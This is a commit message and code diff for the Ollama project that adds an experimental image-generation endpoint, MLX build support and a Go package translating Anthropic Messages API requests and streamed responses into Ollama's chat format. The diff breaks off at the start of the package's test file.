Add experimental /x/generate endpoint for image generation

This adds a new experimental endpoint /x/generate specifically for image
generation models, keeping the main /api/generate endpoint unchanged.

New endpoint:
- POST /x/generate - experimental image generation endpoint
- Supports width, height, steps parameters
- Returns progress updates and base64-encoded images
- Validates that the model supports image generation

API changes:
- Add width, height, steps parameters to GenerateRequest
- Add status, total, completed, images fields to GenerateResponse
- Add XGenerate method to api.Client for calling /x/generate

OpenAI compatibility:
- /v1/images/generations now routes through /x/generate
- Uses middleware pattern like other OpenAI endpoints
- Returns OpenAI-compatible response format with b64_json data

CLI:
- imagegen CLI now uses /x/generate via client.XGenerate()
- Supports --width, --height, --steps flags

Internal changes:
- Add XGenerateHandler to server/routes.go
- Update llm.CompletionRequest/Response with image generation fields
- Change Image field from []byte to string (base64-encoded)
- Add Steps field to CompletionRequest
- Rename Total to TotalSteps for clarity

.github/ISSUE_TEMPLATE/10_bug_report.yml

@@ -13,7 +13,7 @@ body:
     id: logs
     attributes:
       label: Relevant log output
-      description: Please copy and paste any relevant log output. See [Troubleshooting Guide](https://github.com/ollama/ollama/blob/main/docs/troubleshooting.md#how-to-troubleshoot-issues) for details.
+      description: Please copy and paste any relevant log output. See [Troubleshooting Guide](https://github.com/ollama/ollama/blob/main/docs/troubleshooting.mdx#how-to-troubleshoot-issues) for details.
       render: shell
     validations:
       required: false

.github/workflows/release.yaml

@@ -372,13 +372,17 @@ jobs:
           outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
           cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
           cache-to: type=inline
+      - name: Deduplicate CUDA libraries
+        run: |
+          ./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
       - run: |
           for COMPONENT in bin/* lib/ollama/*; do
             case "$COMPONENT" in
-              bin/ollama)                echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              bin/ollama*)               echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
               lib/ollama/*.so*)          echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
               lib/ollama/cuda_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
               lib/ollama/vulkan*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/mlx*)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
               lib/ollama/cuda_jetpack5)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
               lib/ollama/cuda_jetpack6)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
               lib/ollama/rocm)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;

CMakeLists.txt

@@ -48,9 +48,10 @@ if((CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES "arm64")
     set(GGML_CPU_ALL_VARIANTS ON)
 endif()
 
-if (CMAKE_OSX_ARCHITECTURES MATCHES "x86_64")
+if(APPLE)
     set(CMAKE_BUILD_RPATH "@loader_path")
     set(CMAKE_INSTALL_RPATH "@loader_path")
+    set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
 endif()
 
 set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
@@ -189,13 +190,21 @@ if(MLX_ENGINE)
     install(TARGETS mlx mlxc
         RUNTIME_DEPENDENCIES
             DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
-            PRE_INCLUDE_REGEXES cublas cublasLt cudart nvrtc cudnn nccl
+            PRE_INCLUDE_REGEXES cublas cublasLt cudart nvrtc nvrtc-builtins cudnn nccl openblas gfortran
             PRE_EXCLUDE_REGEXES ".*"
         RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
         LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
         FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
     )
 
+    # Install the Metal library for macOS arm64 (must be colocated with the binary)
+    # Metal backend is only built for arm64, not x86_64
+    if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
+        install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
+            DESTINATION ${OLLAMA_INSTALL_DIR}
+            COMPONENT MLX)
+    endif()
+
     # Manually install cudart and cublas since they might not be picked up as direct dependencies
     if(CUDAToolkit_FOUND)
         file(GLOB CUDART_LIBS

Dockerfile

@@ -161,10 +161,9 @@ ARG GOFLAGS="'-ldflags=-w -s'"
 ENV CGO_ENABLED=1
 ARG CGO_CFLAGS
 ARG CGO_CXXFLAGS
-# TODO wire up the actual MLX engine here instead of building the main binary...
 RUN mkdir -p dist/bin
-RUN go build -tags mlx -trimpath -buildmode=pie -o dist/bin/imagegen ./x/imagegen/cmd/engine
-
+RUN --mount=type=cache,target=/root/.cache/go-build \
+    go build -tags mlx -trimpath -buildmode=pie -o dist/bin/ollama-mlx .
 
 FROM base AS build
 WORKDIR /go/src/github.com/ollama/ollama
@@ -205,7 +204,7 @@ COPY --from=build /bin/ollama /bin/ollama
 
 FROM ubuntu:24.04
 RUN apt-get update \
-    && apt-get install -y ca-certificates libvulkan1 \
+    && apt-get install -y ca-certificates libvulkan1 libopenblas0 \
     && apt-get clean \
     && rm -rf /var/lib/apt/lists/*
 COPY --from=archive /bin /usr/bin

README.md

@@ -48,7 +48,7 @@ ollama run gemma3
 
 ## Model library
 
-Ollama supports a list of models available on [ollama.com/library](https://ollama.com/library 'ollama model library')
+Ollama supports a list of models available on [ollama.com/library](https://ollama.com/library "ollama model library")
 
 Here are some example models that can be downloaded:
 
@@ -79,7 +79,7 @@ Here are some example models that can be downloaded:
 | Code Llama         | 7B         | 3.8GB | `ollama run codellama`           |
 | Llama 2 Uncensored | 7B         | 3.8GB | `ollama run llama2-uncensored`   |
 | LLaVA              | 7B         | 4.5GB | `ollama run llava`               |
-| Granite-3.3         | 8B         | 4.9GB | `ollama run granite3.3`          |
+| Granite-3.3        | 8B         | 4.9GB | `ollama run granite3.3`          |
 
 > [!NOTE]
 > You should have at least 8 GB of RAM available to run the 7B models, 16 GB to run the 13B models, and 32 GB to run the 33B models.
@@ -260,6 +260,38 @@ Finally, in a separate shell, run a model:
 ./ollama run llama3.2
 ```
 
+## Building with MLX (experimental)
+
+First build the MLX libraries:
+
+```shell
+cmake --preset MLX
+cmake --build --preset MLX --parallel
+cmake --install build --component MLX
+```
+
+Next, build the `ollama-mlx` binary, which is a separate build of the Ollama runtime with MLX support enabled (needs to be in the same directory as `ollama`):
+
+```shell
+go build -tags mlx -o ollama-mlx .
+```
+
+Finally, start the server:
+
+```
+./ollama serve
+```
+
+### Building MLX with CUDA
+
+When building with CUDA, use the preset "MLX CUDA 13" or "MLX CUDA 12" to enable CUDA with default architectures:
+
+```shell
+cmake --preset 'MLX CUDA 13'
+cmake --build --preset 'MLX CUDA 13' --parallel
+cmake --install build --component MLX
+```
+
 ## REST API
 
 Ollama has a REST API for running and managing models.
@@ -290,6 +322,7 @@ See the [API documentation](./docs/api.md) for all endpoints.
 
 ### Web & Desktop
 
+- [Onyx](https://github.com/onyx-dot-app/onyx)
 - [Open WebUI](https://github.com/open-webui/open-webui)
 - [SwiftChat (macOS with ReactNative)](https://github.com/aws-samples/swift-chat)
 - [Enchanted (macOS native)](https://github.com/AugustDev/enchanted)
@@ -421,7 +454,7 @@ See the [API documentation](./docs/api.md) for all endpoints.
 - [AppFlowy](https://github.com/AppFlowy-IO/AppFlowy) (AI collaborative workspace with Ollama, cross-platform and self-hostable)
 - [Lumina](https://github.com/cushydigit/lumina.git) (A lightweight, minimal React.js frontend for interacting with Ollama servers)
 - [Tiny Notepad](https://pypi.org/project/tiny-notepad) (A lightweight, notepad-like interface to chat with ollama available on PyPI)
-- [macLlama (macOS native)](https://github.com/hellotunamayo/macLlama) (A native macOS GUI application for interacting with Ollama models, featuring a chat interface.) 
+- [macLlama (macOS native)](https://github.com/hellotunamayo/macLlama) (A native macOS GUI application for interacting with Ollama models, featuring a chat interface.)
 - [GPTranslate](https://github.com/philberndt/GPTranslate) (A fast and lightweight, AI powered desktop translation application written with Rust and Tauri. Features real-time translation with OpenAI/Azure/Ollama.)
 - [ollama launcher](https://github.com/NGC13009/ollama-launcher) (A launcher for Ollama, aiming to provide users with convenient functions such as ollama server launching, management, or configuration.)
 - [ai-hub](https://github.com/Aj-Seven/ai-hub) (AI Hub supports multiple models via API keys and Chat support via Ollama API.)
@@ -493,7 +526,7 @@ See the [API documentation](./docs/api.md) for all endpoints.
 ### Database
 
 - [pgai](https://github.com/timescale/pgai) - PostgreSQL as a vector database (Create and search embeddings from Ollama models using pgvector)
-   - [Get started guide](https://github.com/timescale/pgai/blob/main/docs/vectorizer-quick-start.md)
+  - [Get started guide](https://github.com/timescale/pgai/blob/main/docs/vectorizer-quick-start.md)
 - [MindsDB](https://github.com/mindsdb/mindsdb/blob/staging/mindsdb/integrations/handlers/ollama_handler/README.md) (Connects Ollama models with nearly 200 data platforms and apps)
 - [chromem-go](https://github.com/philippgille/chromem-go/blob/v0.5.0/embed_ollama.go) with [example](https://github.com/philippgille/chromem-go/tree/v0.5.0/examples/rag-wikipedia-ollama)
 - [Kangaroo](https://github.com/dbkangaroo/kangaroo) (AI-powered SQL client and admin tool for popular databases)
@@ -636,6 +669,7 @@ See the [API documentation](./docs/api.md) for all endpoints.
 - [llama.cpp](https://github.com/ggml-org/llama.cpp) project founded by Georgi Gerganov.
 
 ### Observability
+
 - [Opik](https://www.comet.com/docs/opik/cookbook/ollama) is an open-source platform to debug, evaluate, and monitor your LLM applications, RAG systems, and agentic workflows with comprehensive tracing, automated evaluations, and production-ready dashboards. Opik supports native integration to Ollama.
 - [Lunary](https://lunary.ai/docs/integrations/ollama) is the leading open-source LLM observability platform. It provides a variety of enterprise-grade features such as real-time analytics, prompt templates management, PII masking, and comprehensive agent tracing.
 - [OpenLIT](https://github.com/openlit/openlit) is an OpenTelemetry-native tool for monitoring Ollama Applications & GPUs using traces and metrics.
@@ -644,4 +678,5 @@ See the [API documentation](./docs/api.md) for all endpoints.
 - [MLflow Tracing](https://mlflow.org/docs/latest/llms/tracing/index.html#automatic-tracing) is an open source LLM observability tool with a convenient API to log and visualize traces, making it easy to debug and evaluate GenAI applications.
 
 ### Security
+
 - [Ollama Fortress](https://github.com/ParisNeo/ollama_proxy_server)

anthropic/anthropic.go

@@ -0,0 +1,778 @@
+package anthropic
+
+import (
+	"crypto/rand"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"log/slog"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/api"
+)
+
+// Error types matching Anthropic API
+type Error struct {
+	Type    string `json:"type"`
+	Message string `json:"message"`
+}
+
+type ErrorResponse struct {
+	Type      string `json:"type"` // always "error"
+	Error     Error  `json:"error"`
+	RequestID string `json:"request_id,omitempty"`
+}
+
+// NewError creates a new ErrorResponse with the appropriate error type based on HTTP status code
+func NewError(code int, message string) ErrorResponse {
+	var etype string
+	switch code {
+	case http.StatusBadRequest:
+		etype = "invalid_request_error"
+	case http.StatusUnauthorized:
+		etype = "authentication_error"
+	case http.StatusForbidden:
+		etype = "permission_error"
+	case http.StatusNotFound:
+		etype = "not_found_error"
+	case http.StatusTooManyRequests:
+		etype = "rate_limit_error"
+	case http.StatusServiceUnavailable, 529:
+		etype = "overloaded_error"
+	default:
+		etype = "api_error"
+	}
+
+	return ErrorResponse{
+		Type:      "error",
+		Error:     Error{Type: etype, Message: message},
+		RequestID: generateID("req"),
+	}
+}
+
+// Request types
+
+// MessagesRequest represents an Anthropic Messages API request
+type MessagesRequest struct {
+	Model         string          `json:"model"`
+	MaxTokens     int             `json:"max_tokens"`
+	Messages      []MessageParam  `json:"messages"`
+	System        any             `json:"system,omitempty"` // string or []ContentBlock
+	Stream        bool            `json:"stream,omitempty"`
+	Temperature   *float64        `json:"temperature,omitempty"`
+	TopP          *float64        `json:"top_p,omitempty"`
+	TopK          *int            `json:"top_k,omitempty"`
+	StopSequences []string        `json:"stop_sequences,omitempty"`
+	Tools         []Tool          `json:"tools,omitempty"`
+	ToolChoice    *ToolChoice     `json:"tool_choice,omitempty"`
+	Thinking      *ThinkingConfig `json:"thinking,omitempty"`
+	Metadata      *Metadata       `json:"metadata,omitempty"`
+}
+
+// MessageParam represents a message in the request
+type MessageParam struct {
+	Role    string `json:"role"`    // "user" or "assistant"
+	Content any    `json:"content"` // string or []ContentBlock
+}
+
+// ContentBlock represents a content block in a message.
+// Text and Thinking use pointers so they serialize as the field being present (even if empty)
+// only when set, which is required for SDK streaming accumulation.
+type ContentBlock struct {
+	Type string `json:"type"` // text, image, tool_use, tool_result, thinking
+
+	// For text blocks - pointer so field only appears when set (SDK requires it for accumulation)
+	Text *string `json:"text,omitempty"`
+
+	// For image blocks
+	Source *ImageSource `json:"source,omitempty"`
+
+	// For tool_use blocks
+	ID    string `json:"id,omitempty"`
+	Name  string `json:"name,omitempty"`
+	Input any    `json:"input,omitempty"`
+
+	// For tool_result blocks
+	ToolUseID string `json:"tool_use_id,omitempty"`
+	Content   any    `json:"content,omitempty"` // string or []ContentBlock
+	IsError   bool   `json:"is_error,omitempty"`
+
+	// For thinking blocks - pointer so field only appears when set (SDK requires it for accumulation)
+	Thinking  *string `json:"thinking,omitempty"`
+	Signature string  `json:"signature,omitempty"`
+}
+
+// ImageSource represents the source of an image
+type ImageSource struct {
+	Type      string `json:"type"` // "base64" or "url"
+	MediaType string `json:"media_type,omitempty"`
+	Data      string `json:"data,omitempty"`
+	URL       string `json:"url,omitempty"`
+}
+
+// Tool represents a tool definition
+type Tool struct {
+	Type        string          `json:"type,omitempty"` // "custom" for user-defined tools
+	Name        string          `json:"name"`
+	Description string          `json:"description,omitempty"`
+	InputSchema json.RawMessage `json:"input_schema,omitempty"`
+}
+
+// ToolChoice controls how the model uses tools
+type ToolChoice struct {
+	Type                   string `json:"type"` // "auto", "any", "tool", "none"
+	Name                   string `json:"name,omitempty"`
+	DisableParallelToolUse bool   `json:"disable_parallel_tool_use,omitempty"`
+}
+
+// ThinkingConfig controls extended thinking
+type ThinkingConfig struct {
+	Type         string `json:"type"` // "enabled" or "disabled"
+	BudgetTokens int    `json:"budget_tokens,omitempty"`
+}
+
+// Metadata for the request
+type Metadata struct {
+	UserID string `json:"user_id,omitempty"`
+}
+
+// Response types
+
+// MessagesResponse represents an Anthropic Messages API response
+type MessagesResponse struct {
+	ID           string         `json:"id"`
+	Type         string         `json:"type"` // "message"
+	Role         string         `json:"role"` // "assistant"
+	Model        string         `json:"model"`
+	Content      []ContentBlock `json:"content"`
+	StopReason   string         `json:"stop_reason,omitempty"`
+	StopSequence string         `json:"stop_sequence,omitempty"`
+	Usage        Usage          `json:"usage"`
+}
+
+// Usage contains token usage information
+type Usage struct {
+	InputTokens  int `json:"input_tokens"`
+	OutputTokens int `json:"output_tokens"`
+}
+
+// Streaming event types
+
+// MessageStartEvent is sent at the start of streaming
+type MessageStartEvent struct {
+	Type    string           `json:"type"` // "message_start"
+	Message MessagesResponse `json:"message"`
+}
+
+// ContentBlockStartEvent signals the start of a content block
+type ContentBlockStartEvent struct {
+	Type         string       `json:"type"` // "content_block_start"
+	Index        int          `json:"index"`
+	ContentBlock ContentBlock `json:"content_block"`
+}
+
+// ContentBlockDeltaEvent contains incremental content updates
+type ContentBlockDeltaEvent struct {
+	Type  string `json:"type"` // "content_block_delta"
+	Index int    `json:"index"`
+	Delta Delta  `json:"delta"`
+}
+
+// Delta represents an incremental update
+type Delta struct {
+	Type        string `json:"type"` // "text_delta", "input_json_delta", "thinking_delta", "signature_delta"
+	Text        string `json:"text,omitempty"`
+	PartialJSON string `json:"partial_json,omitempty"`
+	Thinking    string `json:"thinking,omitempty"`
+	Signature   string `json:"signature,omitempty"`
+}
+
+// ContentBlockStopEvent signals the end of a content block
+type ContentBlockStopEvent struct {
+	Type  string `json:"type"` // "content_block_stop"
+	Index int    `json:"index"`
+}
+
+// MessageDeltaEvent contains updates to the message
+type MessageDeltaEvent struct {
+	Type  string       `json:"type"` // "message_delta"
+	Delta MessageDelta `json:"delta"`
+	Usage DeltaUsage   `json:"usage"`
+}
+
+// MessageDelta contains stop information
+type MessageDelta struct {
+	StopReason   string `json:"stop_reason,omitempty"`
+	StopSequence string `json:"stop_sequence,omitempty"`
+}
+
+// DeltaUsage contains cumulative token usage
+type DeltaUsage struct {
+	OutputTokens int `json:"output_tokens"`
+}
+
+// MessageStopEvent signals the end of the message
+type MessageStopEvent struct {
+	Type string `json:"type"` // "message_stop"
+}
+
+// PingEvent is a keepalive event
+type PingEvent struct {
+	Type string `json:"type"` // "ping"
+}
+
+// StreamErrorEvent is an error during streaming
+type StreamErrorEvent struct {
+	Type  string `json:"type"` // "error"
+	Error Error  `json:"error"`
+}
+
+// FromMessagesRequest converts an Anthropic MessagesRequest to an Ollama api.ChatRequest
+func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
+	var messages []api.Message
+
+	if r.System != nil {
+		switch sys := r.System.(type) {
+		case string:
+			if sys != "" {
+				messages = append(messages, api.Message{Role: "system", Content: sys})
+			}
+		case []any:
+			// System can be an array of content blocks
+			var content strings.Builder
+			for _, block := range sys {
+				if blockMap, ok := block.(map[string]any); ok {
+					if blockMap["type"] == "text" {
+						if text, ok := blockMap["text"].(string); ok {
+							content.WriteString(text)
+						}
+					}
+				}
+			}
+			if content.Len() > 0 {
+				messages = append(messages, api.Message{Role: "system", Content: content.String()})
+			}
+		}
+	}
+
+	for _, msg := range r.Messages {
+		converted, err := convertMessage(msg)
+		if err != nil {
+			return nil, err
+		}
+		messages = append(messages, converted...)
+	}
+
+	options := make(map[string]any)
+
+	options["num_predict"] = r.MaxTokens
+
+	if r.Temperature != nil {
+		options["temperature"] = *r.Temperature
+	}
+
+	if r.TopP != nil {
+		options["top_p"] = *r.TopP
+	}
+
+	if r.TopK != nil {
+		options["top_k"] = *r.TopK
+	}
+
+	if len(r.StopSequences) > 0 {
+		options["stop"] = r.StopSequences
+	}
+
+	var tools api.Tools
+	for _, t := range r.Tools {
+		tool, err := convertTool(t)
+		if err != nil {
+			return nil, err
+		}
+		tools = append(tools, tool)
+	}
+
+	var think *api.ThinkValue
+	if r.Thinking != nil && r.Thinking.Type == "enabled" {
+		think = &api.ThinkValue{Value: true}
+	}
+
+	stream := r.Stream
+
+	return &api.ChatRequest{
+		Model:    r.Model,
+		Messages: messages,
+		Options:  options,
+		Stream:   &stream,
+		Tools:    tools,
+		Think:    think,
+	}, nil
+}
+
+// convertMessage converts an Anthropic MessageParam to Ollama api.Message(s)
+func convertMessage(msg MessageParam) ([]api.Message, error) {
+	var messages []api.Message
+	role := strings.ToLower(msg.Role)
+
+	switch content := msg.Content.(type) {
+	case string:
+		messages = append(messages, api.Message{Role: role, Content: content})
+
+	case []any:
+		var textContent strings.Builder
+		var images []api.ImageData
+		var toolCalls []api.ToolCall
+		var thinking string
+		var toolResults []api.Message
+
+		for _, block := range content {
+			blockMap, ok := block.(map[string]any)
+			if !ok {
+				return nil, errors.New("invalid content block format")
+			}
+
+			blockType, _ := blockMap["type"].(string)
+
+			switch blockType {
+			case "text":
+				if text, ok := blockMap["text"].(string); ok {
+					textContent.WriteString(text)
+				}
+
+			case "image":
+				source, ok := blockMap["source"].(map[string]any)
+				if !ok {
+					return nil, errors.New("invalid image source")
+				}
+
+				sourceType, _ := source["type"].(string)
+				if sourceType == "base64" {
+					data, _ := source["data"].(string)
+					decoded, err := base64.StdEncoding.DecodeString(data)
+					if err != nil {
+						return nil, fmt.Errorf("invalid base64 image data: %w", err)
+					}
+					images = append(images, decoded)
+				} else {
+					return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", sourceType)
+				}
+				// URL images would need to be fetched - skip for now
+
+			case "tool_use":
+				id, ok := blockMap["id"].(string)
+				if !ok {
+					return nil, errors.New("tool_use block missing required 'id' field")
+				}
+				name, ok := blockMap["name"].(string)
+				if !ok {
+					return nil, errors.New("tool_use block missing required 'name' field")
+				}
+				tc := api.ToolCall{
+					ID: id,
+					Function: api.ToolCallFunction{
+						Name: name,
+					},
+				}
+				if input, ok := blockMap["input"].(map[string]any); ok {
+					tc.Function.Arguments = mapToArgs(input)
+				}
+				toolCalls = append(toolCalls, tc)
+
+			case "tool_result":
+				toolUseID, _ := blockMap["tool_use_id"].(string)
+				var resultContent string
+
+				switch c := blockMap["content"].(type) {
+				case string:
+					resultContent = c
+				case []any:
+					for _, cb := range c {
+						if cbMap, ok := cb.(map[string]any); ok {
+							if cbMap["type"] == "text" {
+								if text, ok := cbMap["text"].(string); ok {
+									resultContent += text
+								}
+							}
+						}
+					}
+				}
+
+				toolResults = append(toolResults, api.Message{
+					Role:       "tool",
+					Content:    resultContent,
+					ToolCallID: toolUseID,
+				})
+
+			case "thinking":
+				if t, ok := blockMap["thinking"].(string); ok {
+					thinking = t
+				}
+			}
+		}
+
+		if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
+			m := api.Message{
+				Role:      role,
+				Content:   textContent.String(),
+				Images:    images,
+				ToolCalls: toolCalls,
+				Thinking:  thinking,
+			}
+			messages = append(messages, m)
+		}
+
+		// Add tool results as separate messages
+		messages = append(messages, toolResults...)
+
+	default:
+		return nil, fmt.Errorf("invalid message content type: %T", content)
+	}
+
+	return messages, nil
+}
+
+// convertTool converts an Anthropic Tool to an Ollama api.Tool
+func convertTool(t Tool) (api.Tool, error) {
+	var params api.ToolFunctionParameters
+	if len(t.InputSchema) > 0 {
+		if err := json.Unmarshal(t.InputSchema, &params); err != nil {
+			return api.Tool{}, fmt.Errorf("invalid input_schema for tool %q: %w", t.Name, err)
+		}
+	}
+
+	return api.Tool{
+		Type: "function",
+		Function: api.ToolFunction{
+			Name:        t.Name,
+			Description: t.Description,
+			Parameters:  params,
+		},
+	}, nil
+}
+
+// ToMessagesResponse converts an Ollama api.ChatResponse to an Anthropic MessagesResponse
+func ToMessagesResponse(id string, r api.ChatResponse) MessagesResponse {
+	var content []ContentBlock
+
+	if r.Message.Thinking != "" {
+		content = append(content, ContentBlock{
+			Type:     "thinking",
+			Thinking: ptr(r.Message.Thinking),
+		})
+	}
+
+	if r.Message.Content != "" {
+		content = append(content, ContentBlock{
+			Type: "text",
+			Text: ptr(r.Message.Content),
+		})
+	}
+
+	for _, tc := range r.Message.ToolCalls {
+		content = append(content, ContentBlock{
+			Type:  "tool_use",
+			ID:    tc.ID,
+			Name:  tc.Function.Name,
+			Input: tc.Function.Arguments,
+		})
+	}
+
+	stopReason := mapStopReason(r.DoneReason, len(r.Message.ToolCalls) > 0)
+
+	return MessagesResponse{
+		ID:         id,
+		Type:       "message",
+		Role:       "assistant",
+		Model:      r.Model,
+		Content:    content,
+		StopReason: stopReason,
+		Usage: Usage{
+			InputTokens:  r.Metrics.PromptEvalCount,
+			OutputTokens: r.Metrics.EvalCount,
+		},
+	}
+}
+
+// mapStopReason converts Ollama done_reason to Anthropic stop_reason
+func mapStopReason(reason string, hasToolCalls bool) string {
+	if hasToolCalls {
+		return "tool_use"
+	}
+
+	switch reason {
+	case "stop":
+		return "end_turn"
+	case "length":
+		return "max_tokens"
+	default:
+		if reason != "" {
+			return "stop_sequence"
+		}
+		return ""
+	}
+}
+
+// StreamConverter manages state for converting Ollama streaming responses to Anthropic format
+type StreamConverter struct {
+	ID              string
+	Model           string
+	firstWrite      bool
+	contentIndex    int
+	inputTokens     int
+	outputTokens    int
+	thinkingStarted bool
+	thinkingDone    bool
+	textStarted     bool
+	toolCallsSent   map[string]bool
+}
+
+func NewStreamConverter(id, model string) *StreamConverter {
+	return &StreamConverter{
+		ID:            id,
+		Model:         model,
+		firstWrite:    true,
+		toolCallsSent: make(map[string]bool),
+	}
+}
+
+// StreamEvent represents a streaming event to be sent to the client
+type StreamEvent struct {
+	Event string
+	Data  any
+}
+
+// Process converts an Ollama ChatResponse to Anthropic streaming events
+func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
+	var events []StreamEvent
+
+	if c.firstWrite {
+		c.firstWrite = false
+		c.inputTokens = r.Metrics.PromptEvalCount
+
+		events = append(events, StreamEvent{
+			Event: "message_start",
+			Data: MessageStartEvent{
+				Type: "message_start",
+				Message: MessagesResponse{
+					ID:      c.ID,
+					Type:    "message",
+					Role:    "assistant",
+					Model:   c.Model,
+					Content: []ContentBlock{},
+					Usage: Usage{
+						InputTokens:  c.inputTokens,
+						OutputTokens: 0,
+					},
+				},
+			},
+		})
+	}
+
+	if r.Message.Thinking != "" && !c.thinkingDone {
+		if !c.thinkingStarted {
+			c.thinkingStarted = true
+			events = append(events, StreamEvent{
+				Event: "content_block_start",
+				Data: ContentBlockStartEvent{
+					Type:  "content_block_start",
+					Index: c.contentIndex,
+					ContentBlock: ContentBlock{
+						Type:     "thinking",
+						Thinking: ptr(""),
+					},
+				},
+			})
+		}
+
+		events = append(events, StreamEvent{
+			Event: "content_block_delta",
+			Data: ContentBlockDeltaEvent{
+				Type:  "content_block_delta",
+				Index: c.contentIndex,
+				Delta: Delta{
+					Type:     "thinking_delta",
+					Thinking: r.Message.Thinking,
+				},
+			},
+		})
+	}
+
+	if r.Message.Content != "" {
+		if c.thinkingStarted && !c.thinkingDone {
+			c.thinkingDone = true
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+			c.contentIndex++
+		}
+
+		if !c.textStarted {
+			c.textStarted = true
+			events = append(events, StreamEvent{
+				Event: "content_block_start",
+				Data: ContentBlockStartEvent{
+					Type:  "content_block_start",
+					Index: c.contentIndex,
+					ContentBlock: ContentBlock{
+						Type: "text",
+						Text: ptr(""),
+					},
+				},
+			})
+		}
+
+		events = append(events, StreamEvent{
+			Event: "content_block_delta",
+			Data: ContentBlockDeltaEvent{
+				Type:  "content_block_delta",
+				Index: c.contentIndex,
+				Delta: Delta{
+					Type: "text_delta",
+					Text: r.Message.Content,
+				},
+			},
+		})
+	}
+
+	for _, tc := range r.Message.ToolCalls {
+		if c.toolCallsSent[tc.ID] {
+			continue
+		}
+
+		if c.textStarted {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+			c.contentIndex++
+			c.textStarted = false
+		}
+
+		argsJSON, err := json.Marshal(tc.Function.Arguments)
+		if err != nil {
+			slog.Error("failed to marshal tool arguments", "error", err, "tool_id", tc.ID)
+			continue
+		}
+
+		events = append(events, StreamEvent{
+			Event: "content_block_start",
+			Data: ContentBlockStartEvent{
+				Type:  "content_block_start",
+				Index: c.contentIndex,
+				ContentBlock: ContentBlock{
+					Type:  "tool_use",
+					ID:    tc.ID,
+					Name:  tc.Function.Name,
+					Input: map[string]any{},
+				},
+			},
+		})
+
+		events = append(events, StreamEvent{
+			Event: "content_block_delta",
+			Data: ContentBlockDeltaEvent{
+				Type:  "content_block_delta",
+				Index: c.contentIndex,
+				Delta: Delta{
+					Type:        "input_json_delta",
+					PartialJSON: string(argsJSON),
+				},
+			},
+		})
+
+		events = append(events, StreamEvent{
+			Event: "content_block_stop",
+			Data: ContentBlockStopEvent{
+				Type:  "content_block_stop",
+				Index: c.contentIndex,
+			},
+		})
+
+		c.toolCallsSent[tc.ID] = true
+		c.contentIndex++
+	}
+
+	if r.Done {
+		if c.textStarted {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+		} else if c.thinkingStarted && !c.thinkingDone {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+		}
+
+		c.outputTokens = r.Metrics.EvalCount
+		stopReason := mapStopReason(r.DoneReason, len(c.toolCallsSent) > 0)
+
+		events = append(events, StreamEvent{
+			Event: "message_delta",
+			Data: MessageDeltaEvent{
+				Type: "message_delta",
+				Delta: MessageDelta{
+					StopReason: stopReason,
+				},
+				Usage: DeltaUsage{
+					OutputTokens: c.outputTokens,
+				},
+			},
+		})
+
+		events = append(events, StreamEvent{
+			Event: "message_stop",
+			Data: MessageStopEvent{
+				Type: "message_stop",
+			},
+		})
+	}
+
+	return events
+}
+
+// generateID generates a unique ID with the given prefix using crypto/rand
+func generateID(prefix string) string {
+	b := make([]byte, 12)
+	if _, err := rand.Read(b); err != nil {
+		// Fallback to time-based ID if crypto/rand fails
+		return fmt.Sprintf("%s_%d", prefix, time.Now().UnixNano())
+	}
+	return fmt.Sprintf("%s_%x", prefix, b)
+}
+
+// GenerateMessageID generates a unique message ID
+func GenerateMessageID() string {
+	return generateID("msg")
+}
+
+// ptr returns a pointer to the given string value
+func ptr(s string) *string {
+	return &s
+}
+
+// mapToArgs converts a map to ToolCallFunctionArguments
+func mapToArgs(m map[string]any) api.ToolCallFunctionArguments {
+	args := api.NewToolCallFunctionArguments()
+	for k, v := range m {
+		args.Set(k, v)
+	}
+	return args
+}

anthropic/anthropic_test.go

@@ -0,0 +1,953 @@
+package anthropic
+
+import (
+	"encoding/base64"
+	"encoding/json"
+	"testing"
